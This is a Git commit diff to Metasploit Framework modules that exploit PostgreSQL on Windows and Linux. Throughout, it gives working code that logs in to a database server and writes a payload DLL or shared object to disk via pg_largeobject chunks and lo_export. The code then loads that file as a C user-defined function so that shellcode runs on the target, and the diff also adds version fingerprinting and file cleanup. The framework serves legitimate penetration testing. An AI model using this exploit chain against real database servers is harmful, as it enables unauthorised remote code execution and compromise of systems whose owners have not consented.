Make Windows postgres_payload more generic
* Adds Exploit::EXE to windows/postgres/postgres_payload. This gives us the ability to use generate_payload_dll() which generates a generic dll that spawns rundll32 and runs the shellcode in that process. This is basically what the linux version accomplishes by compiling the .so on the fly. On major advantage of this is that the resulting DLL will work on pretty much any version of postgres * Adds Exploit::FileDropper to windows version as well. This gives us the ability to delete the dll via the resulting session, which works because the template dll contains code to shove the shellcode into a new rundll32 process and exit, thus leaving the file closed after Postgres calls FreeLibrary. * Adds pre-auth fingerprints for 9.1.5 and 9.1.6 on Ubuntu and 9.2.1 on Windows * Adds a check method to both Windows and Linux versions that simply makes sure that the given credentials work against the target service. * Replaces the version-specific lo_create method with a generic technique that works on both 9.x and 8.x * Fixes a bug when targeting 9.x; "language C" in the UDF creation query gets downcased and subsequently causes postgres to error out before opening the DLL * Cleans up lots of rdoc in Exploit::Postgres
This commit is contained in:
parent
4595a96ece
commit
20cc2fa38d
|
@ -13,10 +13,13 @@ module Exploit::Remote::Postgres
|
|||
require 'postgres_msf'
|
||||
require 'base64'
|
||||
include Msf::Db::PostgresPR
|
||||
|
||||
# @!attribute [rw] postgres_conn
|
||||
# @return [::Msf::Db::PostgresPR::Connection]
|
||||
attr_accessor :postgres_conn
|
||||
|
||||
#
|
||||
# Creates an instance of a MSSQL exploit module.
|
||||
# Creates an instance of a PostgreSQL exploit module.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
@ -38,27 +41,66 @@ module Exploit::Remote::Postgres
|
|||
register_autofilter_services(%W{ postgres })
|
||||
end
|
||||
|
||||
# postgres_login takes a number of arguments (defaults to the datastore for
|
||||
# appropriate values), and will either populate self.postgres_conn and return
|
||||
# :connected, or will return :error, :error_databse, or :error_credentials
|
||||
# Fun fact: if you get :error_database, it means your username and password
|
||||
# was accepted (you just failed to guess a correct running database instance).
|
||||
# Note that postgres_login will first trigger postgres_logout if the module
|
||||
# is already connected.
|
||||
def postgres_login(args={})
|
||||
# @!group Datastore accessors
|
||||
|
||||
# Return the datastore value of the same name
|
||||
# @return [String] IP address of the target
|
||||
def rhost; datastore['RHOST']; end
|
||||
# Return the datastore value of the same name
|
||||
# @return [Fixnum] TCP port where the target service is running
|
||||
def rport; datastore['RPORT']; end
|
||||
# Return the datastore value of the same name
|
||||
# @return [String] Username for authentication
|
||||
def username; datastore['USERNAME']; end
|
||||
# Return the datastore value of the same name
|
||||
# @return [String] Password for authentication
|
||||
def password; datastore['PASSWORD']; end
|
||||
# Return the datastore value of the same name
|
||||
# @return [String] Database to connect to when authenticating
|
||||
def database; datastore['DATABASE']; end
|
||||
# Return the datastore value of the same name
|
||||
# @return [Boolean] Whether to print verbose output
|
||||
def verbose; datastore['VERBOSE']; end
|
||||
|
||||
# @!endgroup
|
||||
|
||||
# Takes a number of arguments (defaults to the datastore for appropriate
|
||||
# values), and will either populate {#postgres_conn} and return
|
||||
# +:connected+, or will return +:error+, +:error_databse+, or
|
||||
# +:error_credentials+ in case of an error.
|
||||
#
|
||||
# Fun fact: if you get +:error_database+, it means your username and
|
||||
# password was accepted (you just failed to guess a correct running database
|
||||
# instance).
|
||||
#
|
||||
# @note This method will first call {#postgres_logout} if the module is
|
||||
# already connected.
|
||||
#
|
||||
# @param opts [Hash] Options for authenticating
|
||||
# @option opts [String] :database The database
|
||||
# @option opts [String] :username The username
|
||||
# @option opts [String] :username The username
|
||||
# @option opts [String] :server IP address or hostname of the target server
|
||||
# @option opts [Fixnum] :port TCP port on :server
|
||||
#
|
||||
# @return [:error_database] if user/pass are correct but database is wrong
|
||||
# @return [:error_credentials] if user/pass are wrong
|
||||
# @return [:error] if some other error occurred
|
||||
# @return [:connected] if everything went as planned
|
||||
def postgres_login(opts={})
|
||||
postgres_logout if self.postgres_conn
|
||||
db = args[:database] || datastore['DATABASE']
|
||||
username = args[:username] || datastore['USERNAME']
|
||||
password = args[:password] || datastore['PASSWORD']
|
||||
ip = args[:server] || datastore['RHOST']
|
||||
port = args[:port] || datastore['RPORT']
|
||||
db = opts[:database] || datastore['DATABASE']
|
||||
username = opts[:username] || datastore['USERNAME']
|
||||
password = opts[:password] || datastore['PASSWORD']
|
||||
ip = opts[:server] || datastore['RHOST']
|
||||
port = opts[:port] || datastore['RPORT']
|
||||
uri = "tcp://#{ip}:#{port}"
|
||||
|
||||
if Rex::Socket.is_ipv6?(ip)
|
||||
uri = "tcp://[#{ip}]:#{port}"
|
||||
end
|
||||
|
||||
verbose = args[:verbose] || datastore['VERBOSE']
|
||||
verbose = opts[:verbose] || datastore['VERBOSE']
|
||||
begin
|
||||
self.postgres_conn = Connection.new(db,username,password,uri)
|
||||
rescue RuntimeError => e
|
||||
|
@ -80,7 +122,9 @@ module Exploit::Remote::Postgres
|
|||
end
|
||||
end
|
||||
|
||||
# Logs out of a database instance.
|
||||
# Logs out of a database instance and sets {#postgres_conn} to nil
|
||||
#
|
||||
# @return [void]
|
||||
def postgres_logout
|
||||
ip = datastore['RHOST']
|
||||
port = datastore['RPORT']
|
||||
|
@ -92,9 +136,13 @@ module Exploit::Remote::Postgres
|
|||
print_status "#{ip}:#{port} Postgres - Disconnected" if verbose
|
||||
end
|
||||
|
||||
# If not currently connected, postgres_query will attempt to connect. If an
|
||||
# If not currently connected, attempt to connect. If an
|
||||
# error is encountered while executing the query, it will return with
|
||||
# :error ; otherwise, it will return with :complete.
|
||||
#
|
||||
# @param sql [String] The query to run
|
||||
# @param doprint [Boolean] Whether the result should be printed
|
||||
# @return [Hash]
|
||||
def postgres_query(sql=nil,doprint=false)
|
||||
ip = datastore['RHOST']
|
||||
port = datastore['RPORT']
|
||||
|
@ -104,7 +152,7 @@ module Exploit::Remote::Postgres
|
|||
end
|
||||
if self.postgres_conn
|
||||
sql ||= datastore['SQL']
|
||||
print_status "#{ip}:#{port} Postgres - querying with '#{sql}'" if datastore['VERBOSE']
|
||||
vprint_status "#{ip}:#{port} Postgres - querying with '#{sql}'"
|
||||
begin
|
||||
resp = self.postgres_conn.query(sql)
|
||||
rescue RuntimeError => e
|
||||
|
@ -151,15 +199,21 @@ module Exploit::Remote::Postgres
|
|||
return :complete
|
||||
end
|
||||
|
||||
# postgres_fingerprint attempts to fingerprint a remote Postgresql instance,
|
||||
# inferring version number from the failed authentication messages.
|
||||
# Attempts to fingerprint a remote PostgreSQL instance, inferring version
|
||||
# number from the failed authentication messages or simply returning the
|
||||
# result of "select version()" if authentication was successful.
|
||||
#
|
||||
# @return [Hash] A hash containing the version in one of the keys :preauth,
|
||||
# :auth, or :unkown, depending on how it was determined
|
||||
# @see #postgres_authed_fingerprint
|
||||
# @see #analyze_auth_error
|
||||
def postgres_fingerprint(args={})
|
||||
return postgres_authed_fingerprint if self.postgres_conn
|
||||
db = args[:database] || datastore['DATABASE']
|
||||
username = args[:username] || datastore['USERNAME']
|
||||
password = args[:password] || datastore['PASSWORD']
|
||||
rhost = args[:server] || datastore['RHOST']
|
||||
rport = args[:port] || datastore['RPORT']
|
||||
rhost = args[:server] || datastore['RHOST']
|
||||
rport = args[:port] || datastore['RPORT']
|
||||
|
||||
uri = "tcp://#{rhost}:#{rport}"
|
||||
if Rex::Socket.is_ipv6?(rhost)
|
||||
|
@ -176,6 +230,10 @@ module Exploit::Remote::Postgres
|
|||
return postgres_authed_fingerprint if self.postgres_conn
|
||||
end
|
||||
|
||||
# Ask the server what its version is
|
||||
#
|
||||
# @return (see #postgres_fingerprint)
|
||||
# @see #postgres_fingerprint
|
||||
def postgres_authed_fingerprint
|
||||
resp = postgres_query("select version()",false)
|
||||
ver = resp[:complete].rows[0][0]
|
||||
|
@ -185,6 +243,10 @@ module Exploit::Remote::Postgres
|
|||
# Matches up filename, line number, and routine with a version.
|
||||
# These all come from source builds of Postgres. TODO: check
|
||||
# in on the binary distros, see if they're different.
|
||||
#
|
||||
# @param e [RuntimeError] The exception raised by Connection.new
|
||||
# @return (see #postgres_fingerprint)
|
||||
# @see #postgres_fingerprint
|
||||
def analyze_auth_error(e)
|
||||
fname,fline,froutine = e.to_s.split("\t")[3,3]
|
||||
fingerprint = "#{fname}:#{fline}:#{froutine}"
|
||||
|
@ -223,14 +285,26 @@ module Exploit::Remote::Postgres
|
|||
when "Fauth.c:L273:Rauth_failed" ; return {:preauth => "8.4.2"} # Failed (bad db, bad credentials)
|
||||
when "Fauth.c:L364:RClientAuthentication" ; return {:preauth => "8.4.2"} # Rejected (maybe good)
|
||||
|
||||
when "Fmiscinit.c:L432:RInitializeSessionUserId" ; return {:preauth => "9.1.5"} # Failed (bad db, bad credentials)
|
||||
when "Fpostinit.c:L709:RInitPostgres" ; return {:preauth => "9.1.5"} # Failed (bad db, good credentials)
|
||||
|
||||
when "Fauth.c:L302:Rauth_failed" ; return {:preauth => "9.1.6"} # Bad password, good database
|
||||
when "Fpostinit.c:L718:RInitPostgres" ; return {:preauth => "9.1.6"} # Good creds, non-existent but allowed database
|
||||
when "Fauth.c:L483:RClientAuthentication" ; return {:preauth => "9.1.6"} # Bad user
|
||||
|
||||
# Windows
|
||||
|
||||
when 'F.\src\backend\libpq\auth.c:L273:Rauth_failed' ; return {:preauth => "8.4.2-Win"} # Failed (bad db, bad credentials)
|
||||
when 'F.\src\backend\utils\init\postinit.c:L422:RInitPostgres' ; return {:preauth => "8.4.2-Win"} # Failed (bad db, good credentials)
|
||||
when 'F.\src\backend\libpq\auth.c:L359:RClientAuthentication' ; return {:preauth => "8.4.2-Win"} # Rejected (maybe good)
|
||||
|
||||
when 'F.\src\backend\libpq\auth.c:L464:RClientAuthentication' ; return {:preauth => "9.0.3-Win"} # Rejected (not allowed in pg_hba.conf)
|
||||
when 'F.\src\backend\libpq\auth.c:L297:Rauth_failed' ; return {:preauth => "9.0.3-Win"} # Rejected (bad db or bad creds)
|
||||
|
||||
when 'Fsrc\backend\libpq\auth.c:L302:Rauth_failed' ; return {:preauth => "9.2.1-Win"} # Rejected (bad db or bad creds)
|
||||
when 'Fsrc\backend\utils\init\postinit.c:L717:RInitPostgres' ; return {:preauth => "9.2.1-Win"} # Failed (bad db, good credentials)
|
||||
when 'Fsrc\backend\libpq\auth.c:L479:RClientAuthentication' ; return {:preauth => "9.2.1-Win"} # Rejected (not allowed in pg_hba.conf)
|
||||
|
||||
# OpenSolaris (thanks Alexander!)
|
||||
|
||||
when 'Fmiscinit.c:L420:' ; return {:preauth => '8.2.6-8.2.13-OpenSolaris'} # Failed (good db, bad credentials)
|
||||
|
@ -243,6 +317,8 @@ module Exploit::Remote::Postgres
|
|||
end
|
||||
end
|
||||
|
||||
# @return [String] The password as provided by the user or a random one if
|
||||
# none has been given.
|
||||
def postgres_password
|
||||
if datastore['PASSWORD'].to_s.size > 0
|
||||
datastore['PASSWORD'].to_s
|
||||
|
@ -252,7 +328,7 @@ module Exploit::Remote::Postgres
|
|||
end
|
||||
|
||||
# This presumes the user has rights to both the file and to create a table.
|
||||
# If not, postgre_query() will return an error (usually :sql_error),
|
||||
# If not, {#postgres_query} will return an error (usually :sql_error),
|
||||
# and it should be dealt with by the caller.
|
||||
def postgres_read_textfile(filename)
|
||||
# Check for temp table creation privs first.
|
||||
|
@ -267,6 +343,8 @@ module Exploit::Remote::Postgres
|
|||
return postgres_query(read_query,true)
|
||||
end
|
||||
|
||||
# @return [Boolean] Whether the current user has privilege +priv+ on the
|
||||
# current database
|
||||
def postgres_has_database_privilege(priv)
|
||||
sql = %Q{select has_database_privilege(current_user,current_database(),'#{priv}')}
|
||||
ret = postgres_query(sql,false)
|
||||
|
@ -278,8 +356,9 @@ module Exploit::Remote::Postgres
|
|||
end
|
||||
|
||||
# Creates the function sys_exec() in the pg_temp schema.
|
||||
# @deprecated Just get a real shell instead
|
||||
def postgres_create_sys_exec(dll)
|
||||
q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{dll}', 'sys_exec' language C returns null on null input immutable"
|
||||
q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{dll}', 'sys_exec' language c returns null on null input immutable"
|
||||
resp = postgres_query(q);
|
||||
if resp[:sql_error]
|
||||
print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}"
|
||||
|
@ -290,6 +369,8 @@ module Exploit::Remote::Postgres
|
|||
|
||||
# This presumes the pg_temp.sys_exec() udf has been installed, almost
|
||||
# certainly by postgres_create_sys_exec()
|
||||
#
|
||||
# @deprecated Just get a real shell instead
|
||||
def postgres_sys_exec(cmd)
|
||||
print_status "Attempting to Execute: #{cmd}"
|
||||
q = "select pg_temp.sys_exec('#{cmd}')"
|
||||
|
@ -302,88 +383,106 @@ module Exploit::Remote::Postgres
|
|||
end
|
||||
|
||||
|
||||
# Takes a local filename and uploads it into a table as a Base64 encoded string.
|
||||
# Returns an array if successful, false if not.
|
||||
# Uploads the given local file to the remote server
|
||||
#
|
||||
# @param fname [String] Name of a file on the local filesystem to be
|
||||
# uploaded
|
||||
# @param remote_fname (see #postgres_upload_binary_data)
|
||||
# @return (see #postgres_upload_binary_data)
|
||||
def postgres_upload_binary_file(fname, remote_fname=nil)
|
||||
data = File.read(fname)
|
||||
postgres_upload_binary_data(data, remote_fname)
|
||||
end
|
||||
|
||||
# Writes data to disk on the target server.
|
||||
#
|
||||
# This is accomplished in 5 steps:
|
||||
# 1. Create a new object with "select lo_create(-1)"
|
||||
# 2. Delete any resulting rows in pg_largeobject table.
|
||||
# On 8.x and older, postgres inserts rows as a result of the call to
|
||||
# lo_create. Deleting them here approximates the state on 9.x where no
|
||||
# such insert happens.
|
||||
# 3. Break the data into LOBLOCKSIZE-byte chunks.
|
||||
# 4. Insert each of the chunks as a row in pg_largeobject
|
||||
# 5. Select lo_export to write the file to disk
|
||||
#
|
||||
# @param data [String] Raw binary to write to disk
|
||||
# @param remote_fname [String] Name of the file on the remote server where
|
||||
# the data will be stored. Default is "<random>.dll"
|
||||
# @return [nil] if any part of this process failed
|
||||
# @return [String] if everything went as planned, the name of the file we
|
||||
# dropped. This is really only useful if +remote_fname+ is nil
|
||||
def postgres_upload_binary_data(data, remote_fname=nil)
|
||||
data = postgres_base64_data(data)
|
||||
tbl,fld = postgres_create_stager_table
|
||||
return false unless data && tbl && fld
|
||||
q = "insert into #{tbl}(#{fld}) values('#{data}')"
|
||||
resp = postgres_query(q)
|
||||
if resp[:sql_error]
|
||||
print_error resp[:sql_error]
|
||||
return false
|
||||
end
|
||||
oid, fout = postgres_write_data_to_disk(tbl,fld,remote_fname)
|
||||
return false unless oid && fout
|
||||
return [tbl,fld,fout,oid]
|
||||
end
|
||||
|
||||
# Writes b64 data from a table field, decoded, to disk.
|
||||
#
|
||||
# This is accomplished with 3 sql queries:
|
||||
# 1. select lo_create
|
||||
# 2. version dependant:
|
||||
# - on 9.x, insert into pg_largeobject
|
||||
# - on older versions, update pg_largeobject
|
||||
# 3. select lo_export to write the file to disk
|
||||
#
|
||||
def postgres_write_data_to_disk(tbl,fld,remote_fname=nil)
|
||||
oid = rand(60000) + 1000
|
||||
remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"
|
||||
|
||||
ver = postgres_fingerprint
|
||||
case ver[:auth]
|
||||
when /PostgreSQL 9\./
|
||||
# 9.x does *not* insert the largeobject into the table when you do
|
||||
# the lo_create, so we must insert it ourselves.
|
||||
queries = [
|
||||
"select lo_create(#{oid})",
|
||||
"insert into pg_largeobject select #{oid}, 0, decode((select #{fld} from #{tbl}), 'base64')",
|
||||
"select lo_export(#{oid}, '#{remote_fname}')"
|
||||
]
|
||||
else
|
||||
# 8.x inserts the largeobject into the table when you do the
|
||||
# lo_create, so we with a value.
|
||||
#
|
||||
# 7.x is an unknown, but this behavior was the default before the
|
||||
# addition of support for 9.x above, so try it this way and hope
|
||||
# for the best
|
||||
queries = [
|
||||
"select lo_create(#{oid})",
|
||||
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
|
||||
"select lo_export(#{oid}, '#{remote_fname}')"
|
||||
]
|
||||
# From the Postgres documentation:
|
||||
# SELECT lo_creat(-1); -- returns OID of new, empty large object
|
||||
# Doing it this way instead of calling lo_create with a random number
|
||||
# ensures that we don't accidentally hit the id of a real object.
|
||||
resp = postgres_query "select lo_creat(-1)"
|
||||
unless resp and resp[:complete] and resp[:complete].rows[0]
|
||||
print_error "Failed to get a new loid"
|
||||
return
|
||||
end
|
||||
|
||||
oid = resp[:complete].rows[0][0].to_i
|
||||
|
||||
queries = [ "delete from pg_largeobject where loid=#{oid}" ]
|
||||
|
||||
# Break the data into smaller chunks that can fit in the size allowed in
|
||||
# the pg_largeobject data column.
|
||||
# From the postgres documentation:
|
||||
# "The amount of data per page is defined to be LOBLKSIZE (which is
|
||||
# currently BLCKSZ/4, or typically 2 kB)."
|
||||
# Empirically, it seems that 8kB is fine on 9.x, but we play it safe and
|
||||
# stick to 2kB.
|
||||
chunks = []
|
||||
while ((c = data.slice!(0..2047)) && c.length > 0)
|
||||
chunks.push c
|
||||
end
|
||||
|
||||
chunks.each_with_index do |chunk, pageno|
|
||||
b64_data = postgres_base64_data(chunk)
|
||||
insert = "insert into pg_largeobject (loid,pageno,data) values(%d, %d, decode('%s', 'base64'))"
|
||||
queries.push( "#{insert}"%[oid, pageno, b64_data] )
|
||||
end
|
||||
queries.push "select lo_export(#{oid}, '#{remote_fname}')"
|
||||
|
||||
# Now run each of the queries we just built
|
||||
queries.each do |q|
|
||||
resp = postgres_query(q)
|
||||
if resp && resp[:sql_error]
|
||||
print_error "Could not write the library to disk."
|
||||
print_error resp[:sql_error]
|
||||
break
|
||||
# Can't really recover from this, bail
|
||||
return nil
|
||||
end
|
||||
end
|
||||
return oid,remote_fname
|
||||
return remote_fname
|
||||
end
|
||||
|
||||
# Base64's a file and returns the data.
|
||||
# Calls {#postgres_base64_data} with the contents of file +fname+
|
||||
#
|
||||
# @param fname [String] Name of a file on the local system
|
||||
# @return (see #postgres_base64_data)
|
||||
def postgres_base64_file(fname)
|
||||
data = File.open(fname, "rb") {|f| f.read f.stat.size}
|
||||
postgres_base64_data(data)
|
||||
end
|
||||
|
||||
# Converts data to base64 with no newlines
|
||||
#
|
||||
# @param data [String] Raw data to be base64'd
|
||||
# @return [String] A base64 string suitable for passing to postgresql's
|
||||
# decode(..., 'base64') function
|
||||
def postgres_base64_data(data)
|
||||
[data].pack("m*").gsub(/\r?\n/,"")
|
||||
end
|
||||
|
||||
|
||||
# Creates a temporary table to store base64'ed binary data in.
|
||||
#
|
||||
# @deprecated No longer necessary since we can insert base64 data directly
|
||||
def postgres_create_stager_table
|
||||
tbl = Rex::Text.rand_text_alpha(8).downcase
|
||||
fld = Rex::Text.rand_text_alpha(8).downcase
|
||||
|
|
|
@ -1,7 +1,3 @@
|
|||
###
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
@ -42,7 +38,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'todb' # original windows module this is based on
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
|
||||
|
@ -66,17 +61,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
deregister_options('SQL', 'RETURN_ROWSET')
|
||||
end
|
||||
|
||||
# Buncha stuff to make typing easier.
|
||||
def username; datastore['USERNAME']; end
|
||||
def password; datastore['PASSWORD']; end
|
||||
def database; datastore['DATABASE']; end
|
||||
def rhost; datastore['rhost']; end
|
||||
def rport; datastore['rport']; end
|
||||
def verbose; datastore['VERBOSE']; end
|
||||
def bits; datastore['BITS'];end
|
||||
def check
|
||||
version = postgres_fingerprint
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
postgres_sys_exec(cmd)
|
||||
if version[:auth]
|
||||
return CheckCode::Vulnerable
|
||||
else
|
||||
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -89,28 +82,27 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
|
||||
tbl,fld,so,oid = postgres_upload_binary_data(payload_so(fname), fname)
|
||||
|
||||
unless tbl && fld && so && oid
|
||||
unless postgres_upload_binary_data(payload_so(fname), fname)
|
||||
print_error "Could not upload the UDF SO"
|
||||
return
|
||||
end
|
||||
|
||||
print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
|
||||
print_status "Uploaded as #{fname}, should be cleaned up automatically"
|
||||
begin
|
||||
func_name = Rex::Text.rand_text_alpha(10)
|
||||
postgres_query(
|
||||
"create or replace function pg_temp.#{func_name}()"+
|
||||
" returns void as '#{so}','#{func_name}'"+
|
||||
" language 'C' strict immutable"
|
||||
" returns void as '#{fname}','#{func_name}'"+
|
||||
" language c strict immutable"
|
||||
)
|
||||
rescue
|
||||
rescue RuntimeError => e
|
||||
print_error "Failed to create UDF function: #{e.class}: #{e}"
|
||||
end
|
||||
postgres_logout if @postgres_conn
|
||||
|
||||
end
|
||||
|
||||
|
||||
# Authenticate to the postgres server.
|
||||
#
|
||||
# Returns the version from #postgres_fingerprint
|
||||
|
@ -132,6 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
)
|
||||
return result[:auth]
|
||||
else
|
||||
print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
|
||||
return :noauth
|
||||
end
|
||||
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
|
||||
|
|
|
@ -1,7 +1,3 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
@ -11,29 +7,29 @@
|
|||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Postgres
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
# Creates an instance of this module.
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',
|
||||
'Description' => %q{
|
||||
This module creates and enables a custom UDF (user defined function) on the
|
||||
target host via the UPDATE pg_largeobject method of binary injection. On
|
||||
default Microsoft Windows installations of PostgreSQL (=< 8.4), the postgres
|
||||
service account may write to the Windows temp directory, and may source
|
||||
UDF DLL's from there as well.
|
||||
On default Microsoft Windows installations of PostgreSQL the postgres
|
||||
service account may write to the current directory (which is usually
|
||||
"C:\Program Files\PostgreSQL\<version>\data" where <version> is the
|
||||
major.minor version of PostgreSQL). UDF DLL's may be sourced from
|
||||
there as well.
|
||||
|
||||
PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on Microsoft Windows (32-bit) are
|
||||
valid targets for this module.
|
||||
|
||||
NOTE: This module will leave a payload executable on the target system when the
|
||||
attack is finished, as well as the UDF DLL and the OID.
|
||||
This module uploads a Windows DLL file via the pg_largeobject method
|
||||
of binary injection and creates a UDF (user defined function) from
|
||||
that DLL. Because the payload is run from DllMain, it does not need to
|
||||
conform to specific Postgres API versions.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -41,18 +37,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'todb' # this Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf',
|
||||
'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' # A litte more specific to PostgreSQL
|
||||
]
|
||||
[ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf', ],
|
||||
[ 'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ], # Confirmed on XXX
|
||||
],
|
||||
[
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x86_64', { 'Arch' => ARCH_X86_64 } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper.
|
||||
))
|
||||
|
@ -60,83 +55,78 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
deregister_options('SQL', 'RETURN_ROWSET')
|
||||
end
|
||||
|
||||
# Buncha stuff to make typing easier.
|
||||
def username; datastore['USERNAME']; end
|
||||
def password; datastore['PASSWORD']; end
|
||||
def database; datastore['DATABASE']; end
|
||||
def verbose; datastore['VERBOSE']; end
|
||||
def rhost; datastore['RHOST']; end
|
||||
def rport; datastore['RPORT']; end
|
||||
def check
|
||||
version = postgres_fingerprint
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
postgres_sys_exec(cmd)
|
||||
if version[:auth]
|
||||
print_status "Authentication successful. Version: #{version}"
|
||||
return CheckCode::Vulnerable
|
||||
else
|
||||
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
version = get_version(username,password,database,verbose)
|
||||
version = do_login(username,password,database)
|
||||
case version
|
||||
when :nocompat; print_error "Authentication successful, but not a compatable version."
|
||||
when :noauth; print_error "Authentication failed."
|
||||
when :noconn; print_error "Connection failed."
|
||||
when :noauth; print_error "Authentication failed."; return
|
||||
when :noconn; print_error "Connection failed."; return
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - #{version}")
|
||||
end
|
||||
return unless version =~ /8\.[234]/
|
||||
print_status "Authentication successful and vulnerable version #{version} on Windows confirmed."
|
||||
tbl,fld,dll,oid = postgres_upload_binary_file(dll_fname(version))
|
||||
unless tbl && fld && dll && oid
|
||||
|
||||
fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
|
||||
register_files_for_cleanup(fname)
|
||||
|
||||
unless postgres_upload_binary_data(generate_payload_dll, fname)
|
||||
print_error "Could not upload the UDF DLL"
|
||||
return
|
||||
end
|
||||
print_status "Uploaded #{dll} as OID #{oid} to table #{tbl}(#{fld})"
|
||||
ret_sys_exec = postgres_create_sys_exec(dll)
|
||||
if ret_sys_exec
|
||||
if @postgres_conn
|
||||
execute_cmdstager({:linemax => 1500, :nodelete => true, :temp=>"."})
|
||||
handler
|
||||
postgres_logout if @postgres_conn
|
||||
else
|
||||
print_error "Lost connection."
|
||||
return
|
||||
end
|
||||
|
||||
print_status "Uploaded as #{fname}"
|
||||
begin
|
||||
func_name = Rex::Text.rand_text_alpha(10)
|
||||
postgres_query(
|
||||
"create or replace function pg_temp.#{func_name}()"+
|
||||
" returns void as '#{fname}','#{func_name}'"+
|
||||
" language c strict immutable"
|
||||
)
|
||||
rescue RuntimeError => e
|
||||
print_error "Failed to create UDF function: #{e.class}: #{e}"
|
||||
end
|
||||
postgres_logout if @postgres_conn
|
||||
|
||||
end
|
||||
|
||||
def dll_fname(version)
|
||||
File.join(Msf::Config.install_root,"data","exploits","postgres",version,"lib_postgresqludf_sys.dll")
|
||||
end
|
||||
|
||||
# A shorter version of do_fingerprint from the postgres_version scanner
|
||||
# module, specifically looking for versions that valid targets for this
|
||||
# module.
|
||||
def get_version(user=nil,pass=nil,database=nil,verbose=false)
|
||||
# Authenticate to the postgres server.
|
||||
#
|
||||
# Returns the version from #postgres_fingerprint
|
||||
def do_login(user=nil,pass=nil,database=nil)
|
||||
begin
|
||||
msg = "#{rhost}:#{rport} Postgres -"
|
||||
password = pass || postgres_password
|
||||
vprint_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'")
|
||||
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
|
||||
result = postgres_fingerprint(
|
||||
:db => database,
|
||||
:username => user,
|
||||
:password => password
|
||||
)
|
||||
if result[:auth]
|
||||
# So, the only versions we have DLL binaries for are PostgreSQL 8.2, 8.3, and 8.4
|
||||
# This also checks to see if it was compiled with a windows-based compiler --
|
||||
# the stock Postgresql downloads are Visual C++ for 8.4 and 8.3, and GCC for mingw)
|
||||
# Also, the method to write files to disk doesn't appear to work on 9.0, so
|
||||
# tabling that version for now.
|
||||
if result[:auth] =~ /PostgreSQL (8\.[234]).*(Visual C\+\+|mingw|cygwin)/i
|
||||
return $1
|
||||
else
|
||||
print_status "Found #{result[:auth]}"
|
||||
return :nocompat
|
||||
end
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:name => "postgres",
|
||||
:info => result.values.first
|
||||
)
|
||||
return result[:auth]
|
||||
else
|
||||
print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
|
||||
return :noauth
|
||||
end
|
||||
rescue Rex::ConnectionError
|
||||
vprint_error "#{rhost}:#{rport} Connection Error: #{$!}"
|
||||
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
|
||||
return :noconn
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue